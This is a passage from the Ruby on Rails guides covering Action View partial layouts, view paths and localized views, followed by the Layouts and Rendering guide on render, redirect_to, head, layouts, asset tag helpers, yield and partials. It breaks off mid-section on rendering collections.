Note that the partial layout has access to the local article variable that was passed into the render call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.

You can also render a block of code within a partial layout instead of calling yield. For example, if we didn't have the _article partial, we could do this instead:

articles/show.html.erb

  <% render(layout: 'box', locals: { article: @article }) do %>
  <div>
    <p><%= article.body %></p>
  </div>
<% end %>

Supposing we use the same _box partial from above, this would produce the same output as the previous example.

5 View Paths

When rendering a response, the controller needs to resolve where the different views are located. By default, it only looks inside the app/views directory.

We can add other locations and give them certain precedence when resolving paths using the prepend_view_path and append_view_path methods.

5.1 Prepend View Path

This can be helpful for example when we want to put views inside a different directory for subdomains.

We can do this by using:

  prepend_view_path "app/views/#{request.subdomain}"

Then Action View will look first in this directory when resolving views.

5.2 Append View Path

Similarly, we can append paths:

  append_view_path "app/views/direct"

This will add app/views/direct to the end of the lookup paths.

6 Helpers

Rails provides many helper methods to use with Action View. These include methods for:

Formatting dates, strings and numbers

Creating HTML links to images, videos, stylesheets, etc...

Sanitizing content

Creating forms

Localizing content

You can learn more about helpers in the Action View Helpers Guide and the Action View Form Helpers Guide.

7 Localized Views

Action View has the ability to render different templates depending on the current locale.

For example, suppose you have an ArticlesController with a show action. By default, calling this action will render app/views/articles/show.html.erb. But if you set I18n.locale = :de, then app/views/articles/show.de.html.erb will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.

You can use the same technique to localize the rescue files in your public directory. For example, setting I18n.locale = :de and creating public/500.de.html and public/404.de.html would allow you to have localized rescue pages.

Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to app/controllers/application.rb:

  before_action :set_expert_locale

def set_expert_locale
  I18n.locale = :expert if current_user.expert?
end

Then you could create special views like app/views/articles/show.expert.html.erb that would only be displayed to expert users.

You can read more about the Rails Internationalization (I18n) API here.

Layouts and Rendering in Rails

This guide covers the basic layout features of Action Controller and Action View.

After reading this guide, you will know:

How to use the various rendering methods built into Rails.

How to create layouts with multiple content sections.

How to use partials to DRY up your views.

How to use nested layouts (sub-templates).

Chapters

Overview: How the Pieces Fit Together

Creating Responses

Rendering by Default: Convention Over Configuration in Action

Using render

Using redirect_to

Using head to Build Header-Only Responses

Structuring Layouts

Asset Tag Helpers

Understanding yield

Using the content_for Method

Using Partials

Using Nested Layouts

1 Overview: How the Pieces Fit Together

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.

2 Creating Responses

From the controller's point of view, there are three ways to create an HTTP response:

Call render to create a full response to send back to the browser

Call redirect_to to send an HTTP redirect status code to the browser

Call head to create a response consisting solely of HTTP headers to send back to the browser

2.1 Rendering by Default: Convention Over Configuration in Action

You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your BooksController class:

  class BooksController < ApplicationController
end

And the following in your routes file:

  resources :books

And you have a view file app/views/books/index.html.erb:

  <h1>Books are coming soon!</h1>

Rails will automatically render app/views/books/index.html.erb when you navigate to /books and you will see "Books are coming soon!" on your screen.

However, a coming soon screen is only minimally useful, so you will soon create your Book model and add the index action to BooksController:

  class BooksController < ApplicationController
  def index
    @books = Book.all
  end
end

Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the action_name.html.erb template in the controller's view path and render it. So in this case, Rails will render the app/views/books/index.html.erb file.

If we want to display the properties of all the books in our view, we can do so with an ERB template like this:

  <h1>Listing Books</h1>

<table>
  <thead>
    <tr>
      <th>Title</th>
      <th>Content</th>
      <th colspan="3"></th>
    </tr>
  </thead>

  <tbody>
    <% @books.each do |book| %>
      <tr>
        <td><%= book.title %></td>
        <td><%= book.content %></td>
        <td><%= link_to "Show", book %></td>
        <td><%= link_to "Edit", edit_book_path(book) %></td>
        <td><%= link_to "Destroy", book, data: { turbo_method: :delete, turbo_confirm: "Are you sure?" } %></td>
      </tr>
    <% end %>
  </tbody>
</table>

<br>

<%= link_to "New book", new_book_path %>

The actual rendering is done by nested classes of the module ActionView::Template::Handlers. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler.

2.2 Using render

In most cases, the controller's render method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of render. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

If you want to see the exact results of a call to render without needing to inspect it in a browser, you can call render_to_string. This method takes exactly the same options as render, but it returns a string instead of sending a response back to the browser.

2.2.1 Rendering an Action's View

If you want to render the view that corresponds to a different template within the same controller, you can use render with the name of the view:

  def update
  @book = Book.find(params[:id])
  if @book.update(book_params)
    redirect_to(@book)
  else
    render "edit"
  end
end

If the call to update fails, calling the update action in this controller will render the edit.html.erb template belonging to the same controller.

If you prefer, you can use a symbol instead of a string to specify the action to render:

  def update
  @book = Book.find(params[:id])
  if @book.update(book_params)
    redirect_to(@book)
  else
    render :edit, status: :unprocessable_entity
  end
end

2.2.2 Rendering an Action's Template from Another Controller

What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with render, which accepts the full path (relative to app/views) of the template to render. For example, if you're running code in an AdminProductsController that lives in app/controllers/admin, you can render the results of an action to a template in app/views/products this way:

  render "products/show"

Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the :template option (which was required on Rails 2.2 and earlier):

  render template: "products/show"

2.2.3 Wrapping it up

The above two ways of rendering (rendering the template of another action in the same controller, and rendering the template of another action in a different controller) are actually variants of the same operation.

In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the edit.html.erb template in the views/books directory:

  render :edit
render action: :edit
render "edit"
render action: "edit"
render "books/edit"
render template: "books/edit"

Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.

2.2.4 Using render with :inline

The render method can do without a view completely, if you're willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

  render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"

There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.

By default, inline rendering uses ERB. You can force it to use Builder instead with the :type option:

  render inline: "xml.p {'Horrid coding practice!'}", type: :builder

2.2.5 Rendering Text

You can send plain text - with no markup at all - back to the browser by using the :plain option to render:

  render plain: "OK"

Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.

By default, if you use the :plain option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the layout: true option and use the .text.erb extension for the layout file.

2.2.6 Rendering HTML

You can send an HTML string back to the browser by using the :html option to render:

  render html: helpers.tag.strong('Not Found')

This is useful when you're rendering a small snippet of HTML code. However, you might want to consider moving it to a template file if the markup is complex.

When using html: option, HTML entities will be escaped if the string is not composed with html_safe-aware APIs.

2.2.7 Rendering JSON

JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

  render json: @product

You don't need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.

2.2.8 Rendering XML

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

  render xml: @product

You don't need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.

2.2.9 Rendering Vanilla JavaScript

Rails can render vanilla JavaScript:

  render js: "alert('Hello Rails');"

This will send the supplied string to the browser with a MIME type of text/javascript.

2.2.10 Rendering Raw Body

You can send a raw content back to the browser, without setting any content type, by using the :body option to render:

  render body: "raw"

This option should be used only if you don't care about the content type of the response. Using :plain or :html might be more appropriate most of the time.

Unless overridden, your response returned from this render option will be text/plain, as that is the default content type of Action Dispatch response.

2.2.11 Rendering Raw File

Rails can render a raw file from an absolute path. This is useful for conditionally rendering static files like error pages.

  render file: "#{Rails.root}/public/404.html", layout: false

This renders the raw file (it doesn't support ERB or other handlers). By default it is rendered within the current layout.

Using the :file option in combination with users input can lead to security problems since an attacker could use this action to access security sensitive files in your file system.

send_file is often a faster and better option if a layout isn't required.

2.2.12 Rendering Objects

Rails can render objects responding to :render_in.

  render MyRenderable.new

This calls render_in on the provided object with the current view context.

2.2.13 Options for render

Calls to the render method generally accept six options:

:content_type

:layout

:location

:status

:formats

:variants

2.2.13.1 The :content_type Option

By default, Rails will serve the results of a rendering operation with the MIME content-type of text/html (or application/json if you use the :json option, or application/xml for the :xml option.). There are times when you might like to change this, and you can do so by setting the :content_type option:

  render template: "feed", content_type: "application/rss"

2.2.13.2 The :layout Option

With most of the options to render, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

  render layout: "special_layout"

You can also tell Rails to render with no layout at all:

  render layout: false

2.2.13.3 The :location Option

You can use the :location option to set the HTTP Location header:

  render xml: photo, location: photo_url(photo)

2.2.13.4 The :status Option

Rails will automatically generate a response with the correct HTTP status code (in most cases, this is 200 OK). You can use the :status option to change this:

  render status: 500
render status: :forbidden

Rails understands both numeric status codes and the corresponding symbols shown below.

Response Class | HTTP Status Code | Symbol
Informational | 100 | :continue
| 101 | :switching_protocols
| 102 | :processing
Success | 200 | :ok
| 201 | :created
| 202 | :accepted
| 203 | :non_authoritative_information
| 204 | :no_content
| 205 | :reset_content
| 206 | :partial_content
| 207 | :multi_status
| 208 | :already_reported
| 226 | :im_used
Redirection | 300 | :multiple_choices
| 301 | :moved_permanently
| 302 | :found
| 303 | :see_other
| 304 | :not_modified
| 305 | :use_proxy
| 307 | :temporary_redirect
| 308 | :permanent_redirect
Client Error | 400 | :bad_request
| 401 | :unauthorized
| 402 | :payment_required
| 403 | :forbidden
| 404 | :not_found
| 405 | :method_not_allowed
| 406 | :not_acceptable
| 407 | :proxy_authentication_required
| 408 | :request_timeout
| 409 | :conflict
| 410 | :gone
| 411 | :length_required
| 412 | :precondition_failed
| 413 | :payload_too_large
| 414 | :uri_too_long
| 415 | :unsupported_media_type
| 416 | :range_not_satisfiable
| 417 | :expectation_failed
| 421 | :misdirected_request
| 422 | :unprocessable_entity
| 423 | :locked
| 424 | :failed_dependency
| 426 | :upgrade_required
| 428 | :precondition_required
| 429 | :too_many_requests
| 431 | :request_header_fields_too_large
| 451 | :unavailable_for_legal_reasons
Server Error | 500 | :internal_server_error
| 501 | :not_implemented
| 502 | :bad_gateway
| 503 | :service_unavailable
| 504 | :gateway_timeout
| 505 | :http_version_not_supported
| 506 | :variant_also_negotiates
| 507 | :insufficient_storage
| 508 | :loop_detected
| 510 | :not_extended
| 511 | :network_authentication_required

If you try to render content along with a non-content status code (100-199, 204, 205, or 304), it will be dropped from the response.

2.2.13.5 The :formats Option

Rails uses the format specified in the request (or :html by default). You can change this passing the :formats option with a symbol or an array:

  render formats: :xml
render formats: [:json, :xml]

If a template with the specified format does not exist an ActionView::MissingTemplate error is raised.

2.2.13.6 The :variants Option

This tells Rails to look for template variations of the same format. You can specify a list of variants by passing the :variants option with a symbol or an array.

An example of use would be this.

  # called in HomeController#index
render variants: [:mobile, :desktop]

With this set of variants Rails will look for the following set of templates and use the first that exists.

app/views/home/index.html+mobile.erb

app/views/home/index.html+desktop.erb

app/views/home/index.html.erb

If a template with the specified format does not exist an ActionView::MissingTemplate error is raised.

Instead of setting the variant on the render call you may also set it on the request object in your controller action.

  def index
  request.variant = determine_variant
end

private

def determine_variant
  variant = nil
  # some code to determine the variant(s) to use
  variant = :mobile if session[:use_mobile]

  variant
end

2.2.14 Finding Layouts

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use app/views/layouts/photos.html.erb (or app/views/layouts/photos.builder). If there is no such controller-specific layout, Rails will use app/views/layouts/application.html.erb or app/views/layouts/application.builder. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

2.2.14.1 Specifying Layouts for Controllers

You can override the default layout conventions in your controllers by using the layout declaration. For example:

  class ProductsController < ApplicationController
  layout "inventory"
  #...
end

With this declaration, all of the views rendered by the ProductsController will use app/views/layouts/inventory.html.erb as their layout.

To assign a specific layout for the entire application, use a layout declaration in your ApplicationController class:

  class ApplicationController < ActionController::Base
  layout "main"
  #...
end

With this declaration, all of the views in the entire application will use app/views/layouts/main.html.erb for their layout.

2.2.14.2 Choosing Layouts at Runtime

You can use a symbol to defer the choice of layout until a request is processed:

  class ProductsController < ApplicationController
  layout :products_layout

  def show
    @product = Product.find(params[:id])
  end

  private
    def products_layout
      @current_user.special? ? "special" : "products"
    end

end

Now, if the current user is a special user, they'll get a special layout when viewing a product.

You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the controller instance, so the layout can be determined based on the current request:

  class ProductsController < ApplicationController
  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end

2.2.14.3 Conditional Layouts

Layouts specified at the controller level support the :only and :except options. These options take either a method name, or an array of method names, corresponding to method names within the controller:

  class ProductsController < ApplicationController
  layout "product", except: [:index, :rss]
end

With this declaration, the product layout would be used for everything but the rss and index methods.

2.2.14.4 Layout Inheritance

Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:

application_controller.rb

class ApplicationController < ActionController::Base
  layout "main"
end

articles_controller.rb

class ArticlesController < ApplicationController
end

special_articles_controller.rb

class SpecialArticlesController < ArticlesController
  layout "special"
end

old_articles_controller.rb

class OldArticlesController < SpecialArticlesController
  layout false

  def show
    @article = Article.find(params[:id])
  end

  def index
    @old_articles = Article.older
    render layout: "old"
  end
  # ...
end

In this application:

In general, views will be rendered in the main layout

ArticlesController#index will use the main layout

SpecialArticlesController#index will use the special layout

OldArticlesController#show will use no layout at all

OldArticlesController#index will use the old layout

2.2.14.5 Template Inheritance

Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example:

  # app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
end

  # app/controllers/admin_controller.rb
class AdminController < ApplicationController
end

  # app/controllers/admin/products_controller.rb
class Admin::ProductsController < AdminController
  def index
  end
end

The lookup order for an admin/products#index action will be:

app/views/admin/products/

app/views/admin/

app/views/application/

This makes app/views/application/ a great place for your shared partials, which can then be rendered in your ERB as such:

  <%# app/views/admin/products/index.html.erb %>
<%= render @products || "empty_list" %>

<%# app/views/application/_empty_list.html.erb %>
There are no items in this list <em>yet</em>.

2.2.15 Avoiding Double Render Errors

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

For example, here's some code that will trigger this error:

  def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show"
  end
  render action: "regular_show"
end

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the regular_show view - and throw an error. The solution is simple: make sure that you have only one call to render or redirect in a single code path. One thing that can help is and return. Here's a patched version of the method:

  def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show" and return
  end
  render action: "regular_show"
end

Make sure to use and return instead of && return because && return will not work due to the operator precedence in the Ruby Language.

Note that the implicit render done by ActionController detects if render has been called, so the following will work without errors:

  def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show"
  end
end

This will render a book with special? set with the special_show template, while other books will render with the default show template.

2.3 Using redirect_to

Another way to handle returning responses to an HTTP request is with redirect_to. As you've seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

  redirect_to photos_url

You can use redirect_back to return the user to the page they just came from. This location is pulled from the HTTP_REFERER header which is not guaranteed to be set by the browser, so you must provide the fallback_location to use in this case.

  redirect_back(fallback_location: root_path)

redirect_to and redirect_back do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit return or some other halting mechanism, if needed.

2.3.1 Getting a Different Redirect Status Code

Rails uses HTTP status code 302, a temporary redirect, when you call redirect_to. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the :status option:

  redirect_to photos_path, status: 301

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

2.3.2 The Difference Between render and redirect_to

Sometimes inexperienced developers think of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request from the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.

Consider these actions to see the difference:

  def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    render action: "index"
  end
end

With the code in this form, there will likely be a problem if the @book variable is nil. Remember, a render :action doesn't run any code in the target action, so nothing will set up the @books variable that the index view will probably require. One way to fix this is to redirect instead of rendering:

  def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    redirect_to action: :index
  end
end

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with /books/1 and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to /books/, the browser complies and sends a new request back to the controller asking now for the index action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.

While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:

  def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    @books = Book.all
    flash.now[:alert] = "Your book was not found"
    render "index"
  end
end

This would detect that there are no books with the specified ID, populate the @books instance variable with all the books in the model, and then directly render the index.html.erb template, returning it to the browser with a flash alert message to tell the user what happened.

2.4 Using head to Build Header-Only Responses

The head method can be used to send responses with only headers to the browser. The head method accepts a number or symbol (see reference table) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:

  head :bad_request

This would produce the following header:

  HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

Or you can use other HTTP headers to convey other information:

  head :created, location: photo_path(@photo)

Which would produce:

  HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

3 Structuring Layouts

When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:

Asset tags

yield and content_for

Partials

3.1 Asset Tag Helpers

Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails:

auto_discovery_link_tag

javascript_include_tag

stylesheet_link_tag

image_tag

video_tag

audio_tag

You can use these tags in layouts or other views, although the auto_discovery_link_tag, javascript_include_tag, and stylesheet_link_tag, are most commonly used in the <head> section of a layout.

The asset tag helpers do not verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.

3.1.1 Linking to Feeds with the auto_discovery_link_tag

The auto_discovery_link_tag helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (:rss, :atom, or :json), a hash of options that are passed through to url_for, and a hash of options for the tag:

  <%= auto_discovery_link_tag(:rss, {action: "feed"},
  {title: "RSS Feed"}) %>

There are three tag options available for the auto_discovery_link_tag:

:rel specifies the rel value in the link. The default value is "alternate".

:type specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.

:title specifies the title of the link. The default value is the uppercase :type value, for example, "ATOM" or "RSS".

3.1.2 Linking to JavaScript Files with the javascript_include_tag

The javascript_include_tag helper returns an HTML script tag for each source provided.

If you are using Rails with the Asset Pipeline enabled, this helper will generate a link to /assets/javascripts/ rather than public/javascripts which was used in earlier versions of Rails. This link is then served by the asset pipeline.

A JavaScript file within a Rails application or Rails engine goes in one of three locations: app/assets, lib/assets or vendor/assets. These locations are explained in detail in the Asset Organization section in the Asset Pipeline Guide.

You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called javascripts inside of one of app/assets, lib/assets or vendor/assets, you would do this:

  <%= javascript_include_tag "main" %>

Rails will then output a script tag such as this:

  <script src='/assets/main.js'></script>

The request to this asset is then served by the Sprockets gem.

To include multiple files such as app/assets/javascripts/main.js and app/assets/javascripts/columns.js at the same time:

  <%= javascript_include_tag "main", "columns" %>

To include app/assets/javascripts/main.js and app/assets/javascripts/photos/columns.js:

  <%= javascript_include_tag "main", "/photos/columns" %>

To include http://example.com/main.js:

  <%= javascript_include_tag "http://example.com/main.js" %>

3.1.3 Linking to CSS Files with the stylesheet_link_tag

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided.

If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to /assets/stylesheets/. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: app/assets, lib/assets, or vendor/assets.

You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called stylesheets inside of one of app/assets, lib/assets, or vendor/assets, you would do this:

  <%= stylesheet_link_tag "main" %>

To include app/assets/stylesheets/main.css and app/assets/stylesheets/columns.css:

  <%= stylesheet_link_tag "main", "columns" %>

To include app/assets/stylesheets/main.css and app/assets/stylesheets/photos/columns.css:

  <%= stylesheet_link_tag "main", "photos/columns" %>

To include http://example.com/main.css:

  <%= stylesheet_link_tag "http://example.com/main.css" %>

By default, the stylesheet_link_tag creates links with rel="stylesheet". You can override this default by specifying an appropriate option (:rel):

  <%= stylesheet_link_tag "main_print", media: "print" %>

3.1.4 Linking to Images with the image_tag

The image_tag helper builds an HTML <img /> tag to the specified file. By default, files are loaded from public/images.

Note that you must specify the extension of the image.

  <%= image_tag "header.png" %>

You can supply a path to the image if you like:

  <%= image_tag "icons/delete.gif" %>

You can supply a hash of additional HTML options:

  <%= image_tag "icons/delete.gif", {height: 45} %>

You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:

  <%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>

You can also specify a special size tag, in the format "{width}x{height}":

  <%= image_tag "home.gif", size: "50x20" %>

In addition to the above special tags, you can supply a final hash of standard HTML options, such as :class, :id, or :name:

  <%= image_tag "home.gif", alt: "Go Home",
                          id: "HomeImage",
                          class: "nav_bar" %>

3.1.5 Linking to Videos with the video_tag

The video_tag helper builds an HTML5 <video> tag to the specified file. By default, files are loaded from public/videos.

  <%= video_tag "movie.ogg" %>

Produces

  <video src="/videos/movie.ogg" />

Like an image_tag you can supply a path, either absolute, or relative to the public/videos directory. Additionally you can specify the size: "#{width}x#{height}" option just like an image_tag. Video tags can also have any of the HTML options specified at the end (id, class et al).

The video tag also supports all of the <video> HTML options through the HTML options hash, including:

poster: "image_name.png", provides an image to put in place of the video before it starts playing.

autoplay: true, starts playing the video on page load.

loop: true, loops the video once it gets to the end.

controls: true, provides browser supplied controls for the user to interact with the video.

autobuffer: true, the video will pre load the file for the user on page load.

You can also specify multiple videos to play by passing an array of videos to the video_tag:

  <%= video_tag ["trailer.ogg", "movie.ogg"] %>

This will produce:

  <video>
  <source src="/videos/trailer.ogg">
  <source src="/videos/movie.ogg">
</video>

3.1.6 Linking to Audio Files with the audio_tag

The audio_tag helper builds an HTML5 <audio> tag to the specified file. By default, files are loaded from public/audios.

  <%= audio_tag "music.mp3" %>

You can supply a path to the audio file if you like:

  <%= audio_tag "music/first_song.mp3" %>

You can also supply a hash of additional options, such as :id, :class, etc.

Like the video_tag, the audio_tag has special options:

autoplay: true, starts playing the audio on page load

controls: true, provides browser supplied controls for the user to interact with the audio.

autobuffer: true, the audio will pre load the file for the user on page load.

3.2 Understanding yield

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

  <html>
  <head>
  </head>
  <body>
  <%= yield %>
  </body>
</html>

You can also create a layout with multiple yielding regions:

  <html>
  <head>
  <%= yield :head %>
  </head>
  <body>
  <%= yield %>
  </body>
</html>

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

3.3 Using the content_for Method

The content_for method allows you to insert content into a named yield block in your layout. For example, this view would work with the layout that you just saw:

  <% content_for :head do %>
  <title>A simple page</title>
<% end %>

<p>Hello, Rails!</p>

The result of rendering this page into the supplied layout would be this HTML:

  <html>
  <head>
  <title>A simple page</title>
  </head>
  <body>
  <p>Hello, Rails!</p>
  </body>
</html>

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or CSS files into the header of an otherwise generic layout.

3.4 Using Partials

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

3.4.1 Naming Partials

To render a partial as part of a view, you use the render method within the view:

  <%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

  <%= render "shared/menu" %>

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.4.2 Using Partials to Simplify Views

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

  <%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
...

<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared by many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

As seen in the previous sections of this guide, yield is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use it almost everywhere. For example, we can use it to DRY up form layout definitions for several similar resources:

users/index.html.erb

<%= render "shared/search_filters", search: @q do |form| %>
  <p>
    Name contains: <%= form.text_field :name_contains %>
  </p>
<% end %>

roles/index.html.erb

<%= render "shared/search_filters", search: @q do |form| %>
  <p>
    Title contains: <%= form.text_field :title_contains %>
  </p>
<% end %>

shared/_search_filters.html.erb

<%= form_with model: search do |form| %>
  <h1>Search form:</h1>
  <fieldset>
    <%= yield form %>
  </fieldset>
  <p>
    <%= form.submit "Search" %>
  </p>
<% end %>

For content that is shared among all pages in your application, you can use partials directly from layouts.

3.4.3 Partial Layouts

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

  <%= render partial: "link_area", layout: "graybar" %>

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

Also note that explicitly specifying :partial is required when passing additional options such as :layout.

3.4.4 Passing Local Variables

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

new.html.erb

<h1>New zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

edit.html.erb

<h1>Editing zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>

_form.html.erb

<%= form_with model: zone do |form| %>
  <p>
    <b>Zone name</b><br>
    <%= form.text_field :name %>
  </p>
  <p>
    <%= form.submit %>
  </p>
<% end %>

Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.

To pass a local variable to a partial in only specific cases use the local_assigns.

index.html.erb

<%= render user.articles %>

show.html.erb

<%= render article, full: true %>

_article.html.erb

<h2><%= article.title %></h2>

<% if local_assigns[:full] %>
  <%= simple_format article.body %>
<% else %>
  <%= truncate article.body %>
<% end %>

This way it is possible to use the partial without the need to declare all local variables.

Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the :object option:

  <%= render partial: "customer", object: @new_customer %>

Within the customer partial, the customer variable will refer to @new_customer from the parent view.

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

  <%= render @customer %>

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it and will pass the local variable customer into the partial which will refer to the @customer instance variable in the parent view.

3.4.5 Rendering Collections

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

index.html.erb

<h1>Products</h1>
<%= render partial: "product", collection: @products %>

_product.html.erb

<p>Product Name: <%= product.name %></p>

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the _product partial, you can refer to product to get the instance that is being rendered.

There is also a shorthand for this. Assuming @products is a collection of Product instances, you can simply write this in the index.html.erb to produce the same result:

  <h1>Products</h1>
<%= render @products %>

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

index.html.erb

<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>

customers/_customer.html.erb

